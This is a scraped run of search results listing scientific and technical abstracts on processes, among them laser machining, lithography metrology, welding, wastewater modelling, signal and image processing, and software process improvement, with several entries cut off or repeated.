Starting with the background physics, the book proceeds to examine applications of lasers in “standard” laser machining and laser chemical processing (LCP), including the patterning, coating, and modification of material surfaces. This fourth edition has been enlarged to cover the rapid advances in the understanding of the dynamics of materials under the action of ultrashort laser pulses, and to include a number of new topics, in particular the increasing importance of lasers in various different fields of surface functionalizations and nanotechnology. In two additional chapters, recent developments in biotechnology, medicine, art conservation and restoration are summarized. Graduate students, physicists, chemists, engineers, a... 10. Process window metrology Science.gov (United States) Ausschnitt, Christopher P.; Chu, William; Hadel, Linda M.; Ho, Hok; Talvi, Peter 2000-06-01 This paper is the third of a series that defines a new approach to in-line lithography control. The first paper described the use of optically measurable line-shortening targets to enhance signal-to-noise and reduce measurement time. The second described the dual-tone optical critical dimension (OCD) measurement and analysis necessary to distinguish dose and defocus. Here we describe the marriage of dual-tone OCD to SEM-CD metrology that comprises what we call 'process window metrology' (PWM), the means to locate each measured site in dose and focus space relative to the allowed process window. PWM provides in-line process tracking and control essential to the successful implementation of low-k lithography. CERN Document Server Tucker, Wallace H 1975-01-01 The purpose of this book is twofold: to provide a brief, simple introduction to the theory of radiation and its application in astrophysics and to serve as a reference manual for researchers. The first part of the book consists of a discussion of the basic formulas and concepts that underlie the classical and quantum descriptions of radiation processes. The rest of the book is concerned with applications. The spirit of the discussion is to present simple derivations that will provide some insight into the basic physics involved and then to state the exact results in a form useful for applications. The reader is referred to the original literature and to reviews for rigorous derivations.The wide range of topics covered is illustrated by the following table of contents: Basic Formulas for Classical Radiation Processes; Basic Formulas for Quantum Radiation Processes; Cyclotron and Synchrotron Radiation; Electron Scattering; Bremsstrahlung and Collision Losses; Radiative Recombination; The Photoelectric Effect; a... 12. Processes for xanthomonas biopolymers Energy Technology Data Exchange (ETDEWEB) Engelskirchen, K.; Stein, W.; Bahn, M.; Schieferstein, L.; Schindler, J. 1984-03-27 A process is described for producing xanthan gum in which the use of a stable, water-in-oil emulsion in the fermentation medium markedly lowers the viscosity of the medium, resulting in lower energy requirements for the process, and also resulting in enhanced yields of the biopolymer. In such an emulsion, the aqueous fermentation phase, with its microbial growth and metabolic processes, takes place in a finely dispersed homogeneous oil phase. The viscosity increase in each droplet of the aqueous nutrient solution will not noticeably affect this mixture in the fermenter because the viscosity of the reaction mixture in the fermenter is determined primarily by the viscosity of the oil phase. 45 claims 13. Identification of wastewater processes DEFF Research Database (Denmark) Carstensen, Niels Jacob -known theory of the processes with the significant effects found in data. These models are called grey box models, and they contain rate expressions for the processes of influent load of nutrients, transport of nutrients between the aeration tanks, hydrolysis and growth of biomass, nitrification...... function. The grey box models are estimated on data sets from the Lundtofte pilot scale plant and the Aalborg West wastewater treatment plant. Estimation of Monod- kinetic expressions is made possible through the application of large data sets. Parameter extimates from the two plants show a reasonable......The introduction of on-line sensors for monitoring of nutrient salts concentrations on wastewater treatment plants with nutrient removal, opens a wide new area of modelling wastewater processes. The subject of this thesis is the formulation of operational dynamic models based on time series... 14. Stochastic processes inference theory CERN Document Server Rao, Malempati M 2014-01-01 This is the revised and enlarged 2nd edition of the authors’ original text, which was intended to be a modest complement to Grenander's fundamental memoir on stochastic processes and related inference theory. The present volume gives a substantial account of regression analysis, both for stochastic processes and measures, and includes recent material on Ridge regression with some unexpected applications, for example in econometrics. The first three chapters can be used for a quarter or semester graduate course on inference on stochastic processes. The remaining chapters provide more advanced material on stochastic analysis suitable for graduate seminars and discussions, leading to dissertation or research work. In general, the book will be of interest to researchers in probability theory, mathematical statistics and electrical and information theory. 15. Food Process Engineering DEFF Research Database (Denmark) Friis, Alan; Jensen, Bo Boye Busk; Risum, Jørgen This textbook is made for you to use as a study book and as a source of reference and inspiration to work with problems related to food production. Most textbooks are focused on the separate unit operations used in a production. We have tried to put a few of these operations into the broader...... context of a production. Only a few operations are treated specifically (transport of fluids, heating and cooling) as these operations are universal in all food productions and link different parts of production. A food production plant might be overwhelming in its apparent complexity. The methods...... introduced make it possible to get an overview of processes. We have included a chapter on how to make block-dia¬grams and material balances. This should help in analysing a production and to isolate the most important processing steps. Most processes in a food production are of physical nature, thus we have... 16. Process of timbral composing Science.gov (United States) Withrow, Sam In this paper, I discuss the techniques and processes of timbral organization I developed while writing my chamber work, Afterimage. I compare my techniques with illustrative examples by other composers to place my work in historical context. I examine three elements of my composition process. The first is the process of indexing and cataloging basic sonic materials. The second consists of the techniques and mechanics of manipulating and assembling these collections into larger scale phrases, textures, and overall form in a musical work. The third element is the more elusive, and often extra-musical, source of inspiration and motivation. The evocative power of tone color is both immediately evident yet difficult to explain. What is timbre? This question cannot be answered solely in scientific terms; subjective factors affect our perception of it. 17. Topological signal processing CERN Document Server Robinson, Michael 2014-01-01 Signal processing is the discipline of extracting information from collections of measurements. To be effective, the measurements must be organized and then filtered, detected, or transformed to expose the desired information.  Distortions caused by uncertainty, noise, and clutter degrade the performance of practical signal processing systems. In aggressively uncertain situations, the full truth about an underlying signal cannot be known.  This book develops the theory and practice of signal processing systems for these situations that extract useful, qualitative information using the mathematics of topology -- the study of spaces under continuous transformations.  Since the collection of continuous transformations is large and varied, tools which are topologically-motivated are automatically insensitive to substantial distortion. The target audience comprises practitioners as well as researchers, but the book may also be beneficial for graduate students. 18. Improving Metal Casting Process Science.gov (United States) 1998-01-01 Don Sirois, an Auburn University research associate, and Bruce Strom, a mechanical engineering Co-Op Student, are evaluating the dimensional characteristics of an aluminum automobile engine casting. More accurate metal casting processes may reduce the weight of some cast metal products used in automobiles, such as engines. Research in low gravity has taken an important first step toward making metal products used in homes, automobiles, and aircraft less expensive, safer, and more durable. Auburn University and industry are partnering with NASA to develop one of the first accurate computer model predictions of molten metals and molding materials used in a manufacturing process called casting. Ford Motor Company's casting plant in Cleveland, Ohio is using NASA-sponsored computer modeling information to improve the casting process of automobile and light-truck engine blocks. 19. COTS software selection process. Energy Technology Data Exchange (ETDEWEB) Watkins, William M. (Strike Wire Technologies, Louisville, CO); Lin, Han Wei; McClelland, Kelly (U.S. Security Associates, Livermore, CA); Ullrich, Rebecca Ann; Khanjenoori, Soheil; Dalton, Karen; Lai, Anh Tri; Kuca, Michal; Pacheco, Sandra; Shaffer-Gant, Jessica 2006-05-01 Today's need for rapid software development has generated a great interest in employing Commercial-Off-The-Shelf (COTS) software products as a way of managing cost, developing time, and effort. With an abundance of COTS software packages to choose from, the problem now is how to systematically evaluate, rank, and select a COTS product that best meets the software project requirements and at the same time can leverage off the current corporate information technology architectural environment. This paper describes a systematic process for decision support in evaluating and ranking COTS software. Performed right after the requirements analysis, this process provides the evaluators with more concise, structural, and step-by-step activities for determining the best COTS software product with manageable risk. In addition, the process is presented in phases that are flexible to allow for customization or tailoring to meet various projects' requirements. 20. NTP comparison process Science.gov (United States) Corban, Robert The systems engineering process for the concept definition phase of the program involves requirements definition, system definition, and consistent concept definition. The requirements definition process involves obtaining a complete understanding of the system requirements based on customer needs, mission scenarios, and nuclear thermal propulsion (NTP) operating characteristics. A system functional analysis is performed to provide a comprehensive traceability and verification of top-level requirements down to detailed system specifications and provides significant insight into the measures of system effectiveness to be utilized in system evaluation. The second key element in the process is the definition of system concepts to meet the requirements. This part of the process involves engine system and reactor contractor teams to develop alternative NTP system concepts that can be evaluated against specific attributes, as well as a reference configuration against which to compare system benefits and merits. Quality function deployment (QFD), as an excellent tool within Total Quality Management (TQM) techniques, can provide the required structure and provide a link to the voice of the customer in establishing critical system qualities and their relationships. The third element of the process is the consistent performance comparison. The comparison process involves validating developed concept data and quantifying system merits through analysis, computer modeling, simulation, and rapid prototyping of the proposed high risk NTP subsystems. The maximum amount possible of quantitative data will be developed and/or validated to be utilized in the QFD evaluation matrix. If upon evaluation of a new concept or its associated subsystems determine to have substantial merit, those features will be incorporated into the reference configuration for subsequent system definition and comparison efforts. 1. AERONET Version 3 processing Science.gov (United States) Holben, B. N.; Slutsker, I.; Giles, D. M.; Eck, T. F.; Smirnov, A.; Sinyuk, A.; Schafer, J.; Rodriguez, J. 2014-12-01 The Aerosol Robotic Network (AERONET) database has evolved in measurement accuracy, data quality products, availability to the scientific community over the course of 21 years with the support of NASA, PHOTONS and all federated partners. This evolution is periodically manifested as a new data version release by carefully reprocessing the entire database with the most current algorithms that fundamentally change the database and ultimately the data products used by the community. The newest processing, Version 3, will be released in 2015 after the entire database is reprocessed and real-time data processing becomes operational. All V 3 algorithms have been developed, individually vetted and represent four main categories: aerosol optical depth (AOD) processing, inversion processing, database management and new products. The primary trigger for release of V 3 lies with cloud screening of the direct sun observations and computation of AOD that will fundamentally change all data available for analysis and all subsequent retrieval products. This presentation will illustrate the innovative approach used for cloud screening and assesses the elements of V3 AOD relative to the current version. We will also present the advances in the inversion product processing with emphasis on the random and systematic uncertainty estimates. This processing will be applied to the new hybrid measurement scenario intended to provide inversion retrievals for all solar zenith angles. We will introduce automatic quality assurance criteria that will allow near real time quality assured aerosol products necessary for real time satellite and model validation and assimilation. Last we will introduce the new management structure that will improve access to the data database. The current version 2 will be supported for at least two years after the initial release of V3 to maintain continuity for on going investigations. 2. The Recruitment Process: DEFF Research Database (Denmark) Holm, Anna The aim of this research was to determine whether the introduction of e-recruitment has an impact on the process and underlying tasks, subtasks and activities of recruitment. Three large organizations with well-established e-recruitment practices were included in the study. The three case studies......, which were carried out in Denmark in 2008-2009 using qualitative research methods, revealed changes in the sequence, divisibility and repetitiveness of a number of recruitment tasks and subtasks. The new recruitment process design was identified and presented in the paper. The study concluded... 3. Solar industrial process heat Energy Technology Data Exchange (ETDEWEB) Lumsdaine, E. 1981-04-01 The aim of the assessment reported is to candidly examine the contribution that solar industrial process heat (SIPH) is realistically able to make in the near and long-term energy futures of the United States. The performance history of government and privately funded SIPH demonstration programs, 15 of which are briefly summarized, and the present status of SIPH technology are discussed. The technical and performance characteristics of solar industrial process heat plants and equipment are reviewed, as well as evaluating how the operating experience of over a dozen SIPH demonstration projects is influencing institutional acceptance and economoc projections. Implications for domestic energy policy and international implications are briefly discussed. (LEW) 4. Research Planning Process Science.gov (United States) Lofton, Rodney 2010-01-01 This presentation describes the process used to collect, review, integrate, and assess research requirements desired to be a part of research and payload activities conducted on the ISS. The presentation provides a description of: where the requirements originate, to whom they are submitted, how they are integrated into a requirements plan, and how that integrated plan is formulated and approved. It is hoped that from completing the review of this presentation, one will get an understanding of the planning process that formulates payload requirements into an integrated plan used for specifying research activities to take place on the ISS. 5. Data processing on FPGAs CERN Document Server Teubner, Jens 2013-01-01 Roughly a decade ago, power consumption and heat dissipation concerns forced the semiconductor industry to radically change its course, shifting from sequential to parallel computing. Unfortunately, improving performance of applications has now become much more difficult than in the good old days of frequency scaling. This is also affecting databases and data processing applications in general, and has led to the popularity of so-called data appliances-specialized data processing engines, where software and hardware are sold together in a closed box. Field-programmable gate arrays (FPGAs) incr Energy Technology Data Exchange (ETDEWEB) Muenchausen, Ross E. [Los Alamos National Laboratory 2012-07-25 Some conclusions of this presentation are: (1) Radiation-assisted nanotechnology applications will continue to grow; (2) The APPF will provide a unique focus for radiolytic processing of nanomaterials in support of DOE-DP, other DOE and advanced manufacturing initiatives; (3) {gamma}, X-ray, e-beam and ion beam processing will increasingly be applied for 'green' manufacturing of nanomaterials and nanocomposites; and (4) Biomedical science and engineering may ultimately be the biggest application area for radiation-assisted nanotechnology development. 7. Multivariate Statistical Process Control DEFF Research Database (Denmark) Kulahci, Murat 2013-01-01 As sensor and computer technology continues to improve, it becomes a normal occurrence that we confront with high dimensional data sets. As in many areas of industrial statistics, this brings forth various challenges in statistical process control (SPC) and monitoring for which the aim...... is to identify “out-of-control” state of a process using control charts in order to reduce the excessive variation caused by so-called assignable causes. In practice, the most common method of monitoring multivariate data is through a statistic akin to the Hotelling’s T2. For high dimensional data with excessive... 8. Thermal stir welding process Science.gov (United States) Ding, R. Jeffrey (Inventor) 2012-01-01 A welding method is provided for forming a weld joint between first and second elements of a workpiece. The method includes heating the first and second elements to form an interface of material in a plasticized or melted state interface between the elements. The interface material is then allowed to cool to a plasticized state if previously in a melted state. The interface material, while in the plasticized state, is then mixed, for example, using a grinding/extruding process, to remove any dendritic-type weld microstructures introduced into the interface material during the heating process. 9. Rubber compounding and processing CSIR Research Space (South Africa) John 2014-06-01 Full Text Available stream_source_info John_2014_ABSTRACT ONLY.pdf.txt stream_content_type text/plain stream_size 886 Content-Encoding ISO-8859-1 stream_name John_2014_ABSTRACT ONLY.pdf.txt Content-Type text/plain; charset=ISO-8859...-1 Handbook of Green Materials Processing Technologies, Properties and Applications Chapter 15 RUBBER COMPOUNDING AND PROCESSING MAYA JACOB JOHN1,2 1CSIR Materials Science and Manufacturing, Polymers and Composites Competence Area, P.O. Box 1124... 10. Semantic and Process Interoperability Directory of Open Access Journals (Sweden) Félix Oscar Fernández Peña 2010-05-01 Full Text Available Knowledge management systems support education at different levels of the education. This is very important for the process in which the higher education of Cuba is involved. Structural transformations of teaching are focused on supporting the foundation of the information society in the country. This paper describes technical aspects of the designing of a model for the integration of multiple knowledgemanagement tools supporting teaching. The proposal is based on the definition of an ontology for the explicit formal description of the semantic of motivations of students and teachers in the learning process. Its target is to facilitate knowledge spreading. 11. Statecharts Via Process Algebra Science.gov (United States) Luttgen, Gerald; vonderBeeck, Michael; Cleaveland, Rance 1999-01-01 Statecharts is a visual language for specifying the behavior of reactive systems. The Language extends finite-state machines with concepts of hierarchy, concurrency, and priority. Despite its popularity as a design notation for embedded system, precisely defining its semantics has proved extremely challenging. In this paper, a simple process algebra, called Statecharts Process Language (SPL), is presented, which is expressive enough for encoding Statecharts in a structure-preserving and semantic preserving manner. It is establish that the behavioral relation bisimulation, when applied to SPL, preserves Statecharts semantics 12. Genomic signal processing CERN Document Server Shmulevich, Ilya 2007-01-01 Genomic signal processing (GSP) can be defined as the analysis, processing, and use of genomic signals to gain biological knowledge, and the translation of that knowledge into systems-based applications that can be used to diagnose and treat genetic diseases. Situated at the crossroads of engineering, biology, mathematics, statistics, and computer science, GSP requires the development of both nonlinear dynamical models that adequately represent genomic regulation, and diagnostic and therapeutic tools based on these models. This book facilitates these developments by providing rigorous mathema 13. Biomedical Image Processing CERN Document Server Deserno, Thomas Martin 2011-01-01 In modern medicine, imaging is the most effective tool for diagnostics, treatment planning and therapy. Almost all modalities have went to directly digital acquisition techniques and processing of this image data have become an important option for health care in future. This book is written by a team of internationally recognized experts from all over the world. It provides a brief but complete overview on medical image processing and analysis highlighting recent advances that have been made in academics. Color figures are used extensively to illustrate the methods and help the reader to understand the complex topics. 14. Integrated Renovation Process DEFF Research Database (Denmark) Galiotto, Nicolas; Heiselberg, Per; Knudstrup, Mary-Ann 2016-01-01 structured and holistic method of decision making toward nearly zero-energy building renovation. The methodology is evolutive, implementable on a large scale, and allows an optimal integration of nonexpert decision makers. In practice, such a scheme allowed most behavioral barriers to sustainable home...... renovation to be overcome. The homeowners were better integrated and their preferences and immaterial values were better taken into account. To keep the decision-making process economically viable and timely, the process as known today still needs to be improved, and new tools need to be developed... 15. Hard exclusive QCD processes Energy Technology Data Exchange (ETDEWEB) Kugler, W. 2007-01-15 Hard exclusive processes in high energy electron proton scattering offer the opportunity to get access to a new generation of parton distributions, the so-called generalized parton distributions (GPDs). This functions provide more detailed informations about the structure of the nucleon than the usual PDFs obtained from DIS. In this work we present a detailed analysis of exclusive processes, especially of hard exclusive meson production. We investigated the influence of exclusive produced mesons on the semi-inclusive production of mesons at fixed target experiments like HERMES. Further we give a detailed analysis of higher order corrections (NLO) for the exclusive production of mesons in a very broad range of kinematics. (orig.) 16. Exoplanet atmospheres physical processes CERN Document Server Seager, Sara 2010-01-01 Over the past twenty years, astronomers have identified hundreds of extrasolar planets--planets orbiting stars other than the sun. Recent research in this burgeoning field has made it possible to observe and measure the atmospheres of these exoplanets. This is the first textbook to describe the basic physical processes--including radiative transfer, molecular absorption, and chemical processes--common to all planetary atmospheres, as well as the transit, eclipse, and thermal phase variation observations that are unique to exoplanets. In each chapter, Sara Seager offers a conceptual introdu 17. An Integrated Design Process DEFF Research Database (Denmark) 2010-01-01 Present paper is placed in the discussion about how sustainable measures are integrated in the design process by architectural offices. It presents results from interviews with four leading Danish architectural offices working with sustainable architecture and their experiences with it, as well...... as the requirements they meet in terms of how to approach the design process – especially focused on the early stages like a competition. The interviews focus on their experiences with working in multidisciplinary teams and using digital tools to support their work with sustainable issues. The interviews show...... the environmental measures cannot be discarded due to extra costs.... 18. An Integrated Desgin Process DEFF Research Database (Denmark) 2010-01-01 Present paper is placed in the discussion about how sustainable measures are integrated in the design process by architectural offices. It presents results from interviews with four leading Danish architectural offices working with sustainable architecture and their experiences with it, as well...... as the requirements they meet in terms of how to approach the design process – especially focused on the early stages like a competition. The interviews focus on their experiences with working in multidisciplinary teams and using digital tools to support their work with sustainable issues. The interviews show...... the environmental measures cannot be discarded due to extra costs.... 19. Mapping Individual Logical Processes Science.gov (United States) Smetana, Frederick O. 1975-01-01 A technique to measure and describe concisely a certain class of individual mental reasoning processes has been developed. The measurement is achieved by recording the complete dialog between a large, varied computerized information system with a broad range of logical operations and options and a human information seeker. (Author/RC) 20. Authenticizing the Research Process Directory of Open Access Journals (Sweden) Nora Elizondo-Schmelkes, MA, Ph.D. Candidate 2011-06-01 Full Text Available This study reflects the main concern of students (national and international who are trying to get a postgraduate degree in a third world (or “in means of development” country. The emergent problem found is that students have to finish their thesis or dissertation but they do not really know how to accomplish this goal. They resolve this problem by authenticizing the process as their own. The theory of authenticizing involves compassing their way to solve the problem of advancing in the research process. Compassing allows the student to authenticize his/her research process, making it a personal and „owned. process. The main categories of compassing are the intellectual, physical and emotional dimension patterns that the student has, learns and follows in order to finish the project and get a degree. Authenticizing implies to author with authenticity their thesis or dissertation. Compassing allows them to do this in their own way, at their own pace or time and with their own internal resources, strengths and weaknesses. 1. Automated process planning system Science.gov (United States) Mann, W. 1978-01-01 Program helps process engineers set up manufacturing plans for machined parts. System allows one to develop and store library of similar parts characteristics, as related to particular facility. Information is then used in interactive system to help develop manufacturing plans that meet required standards. 2. Software Process Improvement DEFF Research Database (Denmark) Kuhrmann, Marco; Diebold, Philipp; Münch, Jürgen 2016-01-01 Software process improvement (SPI) is around for decades: frameworks are proposed, success factors are studied, and experiences have been reported. However, the sheer mass of concepts, approaches, and standards published over the years overwhelms practitioners as well as researchers. What is out... 3. Pattern evaporation process Directory of Open Access Journals (Sweden) Z. Żółkiewicz 2007-04-01 Full Text Available The paper discusses the process of thermal evaporation of a foundry pattern. At several research-development centres, studies have been carried out to examine the physico-chemical phenomena that take place in foundry mould filled with polystyrene pattern when it is poured with molten metal. In the technique of evaporative patterns, the process of mould filling with molten metal (the said mould holding inside a polystyrene pattern is interrelated with the process of thermal decomposition of this pattern. The transformation of an evaporative pattern (e.g. made from foamed polystyrene from the solid into liquid and then gaseous state occurs as a result of the thermal effect that the liquid metal exerts onto this pattern. Consequently, at the liquid metal-pattern-mould phase boundary some physico-chemical phenomena take place, which until now have not been fully explained. When the pattern is evaporating, some solid and gaseous products are evolved, e.g. CO, CO2, H2, N2, and hydrocarbons, e.g. styrene, toluene, ethane, methane, benzene [16, 23]. The process of polystyrene pattern evaporation in foundry mould under the effect of molten metal is of a very complex nature and depends on many different factors, still not fully investigated. The kinetics of pattern evaporation is also affected by the technological properties of foundry mould, e.g. permeability, thermophysical properties, parameters of the gating system, temperature of pouring, properties of pattern material, and the size of pattern-liquid metal contact surface. 4. Electrochemical Discharge Machining Process Directory of Open Access Journals (Sweden) Anjali V. Kulkarni 2007-09-01 Full Text Available Electrochemical discharge machining process is evolving as a promising micromachiningprocess. The experimental investigations in the present work substantiate this trend. In the presentwork, in situ, synchronised, transient temperature and current measurements have been carriedout. The need for the transient measurements arose due to the time-varying nature of the dischargeformation and time varying circuit current. Synchronised and transient measurements revealedthe discrete nature of the process. It also helped in formulating the basic mechanism for thedischarge formation and the material removal in the process. Temperature profile on workpieceand in electrochemical discharge machining cell is experimentally measured using pyrometer,and two varieties of K-type thermocouples. Surface topography of the discharge-affected zoneson the workpiece has been carried out using scanning electron microscope. Measurements andsurface topographical studies reveal the potential use of this process for machining in micronregime. With careful experimental set-up design, suitable supply voltage and its polarity, theprocess can be applied for both micromachining and micro-deposition. It can be extended formachining and or deposition of wide range of materials. 5. Stochastic conditional intensity processes DEFF Research Database (Denmark) Bauwens, Luc; Hautsch, Nikolaus 2006-01-01 model allows for a wide range of (cross-)autocorrelation structures in multivariate point processes. The model is estimated by simulated maximum likelihood (SML) using the efficient importance sampling (EIS) technique. By modeling price intensities based on NYSE trading, we provide significant evidence... 6. The Serendipitous Research Process Science.gov (United States) Nutefall, Jennifer E.; Ryder, Phyllis Mentzell 2010-01-01 This article presents the results of an exploratory study asking faculty in the first-year writing program and instruction librarians about their research process focusing on results specifically related to serendipity. Steps to prepare for serendipity are highlighted as well as a model for incorporating serendipity into a first-year writing… 7. Communicating Process Achitectures 2005 NARCIS (Netherlands) Broenink, Jan F.; Roebbers, Herman W.; Sunters, Johan P.E.; Welch, Peter H.; Wood, David C. 2005-01-01 The awareness of the ideas characterized by Communicating Processes Architecture and their adoption by industry beyond their traditional base in safety-critical systems and security is growing. The complexity of modern computing systems has become so great that no one person – maybe not even a small 8. Normal modified stable processes DEFF Research Database (Denmark) Barndorff-Nielsen, Ole Eiler; Shephard, N. 2002-01-01 Gaussian (NGIG) laws. The wider framework thus established provides, in particular, for added flexibility in the modelling of the dynamics of financial time series, of importance especially as regards OU based stochastic volatility models for equities. In the special case of the tempered stable OU process... 9. Product and Process Modelling DEFF Research Database (Denmark) Cameron, Ian T.; Gani, Rafiqul This book covers the area of product and process modelling via a case study approach. It addresses a wide range of modelling applications with emphasis on modelling methodology and the subsequent in-depth analysis of mathematical models to gain insight via structural aspects of the models. These ... 10. Video processing project CSIR Research Space (South Africa) Globisch, R 2009-03-01 Full Text Available Video processing source code for algorithms and tools used in software media pipelines (e.g. image scalers, colour converters, etc.) The currently available source code is written in C++ with their associated libraries and DirectShow- Filters.... 11. Software Process Improvement DEFF Research Database (Denmark) Kuhrmann, Marco; Konopka, Claudia; Nellemann, Peter 2016-01-01 Software process improvement (SPI) is around for decades: frameworks are proposed, success factors are studied, and experiences have been reported. However, the sheer mass of concepts, approaches, and standards published over the years overwhelms practitioners as well as researchers. What is out... 12. Attentional Processes in Autism. Science.gov (United States) Goldstein, Gerald; Johnson, Cynthia R.; Minshew, Nancy J. 2001-01-01 Attention processes in 103 children and adults with high functioning autism were compared with a matched control group using a battery of attention measures. Differences were found only on tasks which placed demands on cognitive flexibility or psychomotor speed, suggesting that purported attention deficits in autism may actually be primary… 13. Quantum image processing? Science.gov (United States) Mastriani, Mario 2017-01-01 This paper presents a number of problems concerning the practical (real) implementation of the techniques known as quantum image processing. The most serious problem is the recovery of the outcomes after the quantum measurement, which will be demonstrated in this work that is equivalent to a noise measurement, and it is not considered in the literature on the subject. It is noteworthy that this is due to several factors: (1) a classical algorithm that uses Dirac's notation and then it is coded in MATLAB does not constitute a quantum algorithm, (2) the literature emphasizes the internal representation of the image but says nothing about the classical-to-quantum and quantum-to-classical interfaces and how these are affected by decoherence, (3) the literature does not mention how to implement in a practical way (at the laboratory) these proposals internal representations, (4) given that quantum image processing works with generic qubits, this requires measurements in all axes of the Bloch sphere, logically, and (5) among others. In return, the technique known as quantum Boolean image processing is mentioned, which works with computational basis states (CBS), exclusively. This methodology allows us to avoid the problem of quantum measurement, which alters the results of the measured except in the case of CBS. Said so far is extended to quantum algorithms outside image processing too. 14. The magnetization process: Hysteresis Science.gov (United States) Balsamel, Richard 1990-01-01 The magnetization process, hysteresis (the difference in the path of magnetization for an increasing and decreasing magnetic field), hysteresis loops, and hard magnetic materials are discussed. The fabrication of classroom projects for demonstrating hysteresis and the hysteresis of common magnetic materials is described in detail. 15. Industrial Information Processing DEFF Research Database (Denmark) Svensson, Carsten 2002-01-01 This paper demonstrates, how cross-functional business processes may be aligned with product specification systems in an intra-organizational environment by integrating planning systems and expert systems, thereby providing an end-to-end integrated and an automated solution to the “build-to-order... 16. Students' Differentiated Translation Processes Science.gov (United States) Bossé, Michael J.; Adu-Gyamfi, Kwaku; Chandler, Kayla 2014-01-01 Understanding how students translate between mathematical representations is of both practical and theoretical importance. This study examined students' processes in their generation of symbolic and graphic representations of given polynomial functions. The purpose was to investigate how students perform these translations. The result of the study… 17. Governing Knowledge Processes DEFF Research Database (Denmark) Foss, Nicolai Juul; Husted, Kenneth; Michailova, Snejina; 2003-01-01 An under-researched issue in work within the knowledge movement' is therelation between organizational issues and knowledge processes (i.e., sharingand creating knowledge). We argue that managers can shape formalorganization structure and organization forms and can influence the moreinformal... 18. Image Processing Software Science.gov (United States) Bosio, M. A. 1990-11-01 ABSTRACT: A brief description of astronomical image software is presented. This software was developed in a Digital Micro Vax II Computer System. : St presenta una somera descripci6n del software para procesamiento de imagenes. Este software fue desarrollado en un equipo Digital Micro Vax II. : DATA ANALYSIS - IMAGE PROCESSING 19. Performance Evaluation Process. Science.gov (United States) 1998 This document contains four papers from a symposium on the performance evaluation process and human resource development (HRD). "Assessing the Effectiveness of OJT (On the Job Training): A Case Study Approach" (Julie Furst-Bowe, Debra Gates) is a case study of the effectiveness of OJT in one of a high-tech manufacturing company's product… 20. Optoelectronic Information Processing Science.gov (United States) 2012-03-07 printing for III- V/Si heterogeneous integration • Single layer Si NM photonic crystal Fano membrane reflector (MR) replaces conventional DBR ... Monolithic integration on focal plane arrays using standard processes • Wavelength & polarization tunable on pixel by pixel basis • Collection...photonic crystals, nano-antennas, nano-emitters & modulators . [Agency Reviews, National Academies input] Integrated Photonics, Optical Components 1. Food processing in action Science.gov (United States) Radio frequency (RF) heating is a commonly used food processing technology that has been applied for drying and baking as well as thawing of frozen foods. Its use in pasteurization, as well as for sterilization and disinfection of foods, is more limited. This column will review various RF heating ap... 2. An Integrated Design Process DEFF Research Database (Denmark) 2010-01-01 as the requirements they meet in terms of how to approach the design process – especially focused on the early stages like a competition. The interviews focus on their experiences with working in multidisciplinary teams and using digital tools to support their work with sustainable issues. The interviews show... 3. An Integrated Desgin Process DEFF Research Database (Denmark) 2010-01-01 as the requirements they meet in terms of how to approach the design process – especially focused on the early stages like a competition. The interviews focus on their experiences with working in multidisciplinary teams and using digital tools to support their work with sustainable issues. The interviews show... 4. Sparsity and Information Processing OpenAIRE Ikeda, Shiro 2015-01-01 Recently, many information processing methods utilizing the sparsity of the information source is studied. We have reported some results on this line of research. Here we pick up two results from our own works. One is an image reconstruction method for radio interferometory and the other is a motor command computation method for a two-joint arm. 5. Image Processing for Teaching. Science.gov (United States) Greenberg, R.; And Others 1993-01-01 The Image Processing for Teaching project provides a powerful medium to excite students about science and mathematics, especially children from minority groups and others whose needs have not been met by traditional teaching. Using professional-quality software on microcomputers, students explore a variety of scientific data sets, including… 6. Image-Processing Program Science.gov (United States) Roth, D. J.; Hull, D. R. 1994-01-01 IMAGEP manipulates digital image data to effect various processing, analysis, and enhancement functions. It is keyboard-driven program organized into nine subroutines. Within subroutines are sub-subroutines also selected via keyboard. Algorithm has possible scientific, industrial, and biomedical applications in study of flows in materials, analysis of steels and ores, and pathology, respectively. 7. Flax shive thermocatalytic processing Science.gov (United States) Sulman, E. M.; Lugovoy, Yu. V.; Chalov, K. V.; Kosivtsov, Yu. Yu.; Stepacheva, A. A.; Shimanskaya, E. I. 2016-11-01 In the paper the thermogravimetric study of biomass waste thermodestruction process is presented. Metal chlorides have the highest influence on the flax shive thermodestruction. The results of kinetic modeling are also shown on the base of thermogravimetric analysis both of the samples of flax shive and flax shive with addition of 10% (wt.) nickel chloride at different heating rate. 8. Obsolescence: the underlying processes NARCIS (Netherlands) Thomsen, A.F.; Nieboer, N.E.T.; Van der Flier, C.L. 2015-01-01 Obsolescence, defined as the process of declining performance of buildings, is a serious threat for the value, the usefulness and the life span of housing properties. Thomsen and van der Flier (2011) developed a model in which obsolescence is categorised on the basis of two distinctions, namely betw 9. Ultrahigh bandwidth signal processing Science.gov (United States) Oxenløwe, Leif Katsuo 2016-04-01 Optical time lenses have proven to be very versatile for advanced optical signal processing. Based on a controlled interplay between dispersion and phase-modulation by e.g. four-wave mixing, the processing is phase-preserving, and hence useful for all types of data signals including coherent multi-level modulation formats. This has enabled processing of phase-modulated spectrally efficient data signals, such as orthogonal frequency division multiplexed (OFDM) signals. In that case, a spectral telescope system was used, using two time lenses with different focal lengths (chirp rates), yielding a spectral magnification of the OFDM signal. Utilising such telescopic arrangements, it has become possible to perform a number of interesting functionalities, which will be described in the presentation. This includes conversion from OFDM to Nyquist WDM, compression of WDM channels to a single Nyquist channel and WDM regeneration. These operations require a broad bandwidth nonlinear platform, and novel photonic integrated nonlinear platforms like aluminum gallium arsenide nano-waveguides used for 1.28 Tbaud optical signal processing will be described. 10. Building Science Process Skills Science.gov (United States) DeFina, Anthony V. 2006-01-01 A well-designed and executed field trip experience serves not only to enrich and supplement course content, but also creates opportunities to build basic science process skills. The National Science Education Standards call for science teachers "to design and manage learning environments that provide students with the time, space, and resources… CERN Document Server Nait-Ali, Amine 2009-01-01 Presents the principle of many advanced biosignal processing techniques. This title introduces the main biosignal properties and the acquisition techniques. It concerns one of the most intensively used biosignals in the clinical routine, namely the Electrocardiogram, the Elektroenzephalogram, the Electromyogram and the Evoked Potential 12. Photonic curvilinear data processing Science.gov (United States) Browning, Clyde; Quaglio, Thomas; Figueiro, Thiago; Pauliac, Sébastien; Belledent, Jérôme; Fay, Aurélien; Bustos, Jessy; Marusic, Jean-Christophe; Schiavone, Patrick 2014-10-01 With more and more photonic data presence in e-beam lithography, the need for efficient and accurate data fracturing is required to meet acceptable manufacturing cycle time. Large photonic based layouts now create high shot count patterns for VSB based tools. Multiple angles, sweeping curves, and non-orthogonal data create a challenge for today's e-beam tools that are more efficient on Manhattan style data. This paper describes techniques developed and used for creating fractured data for 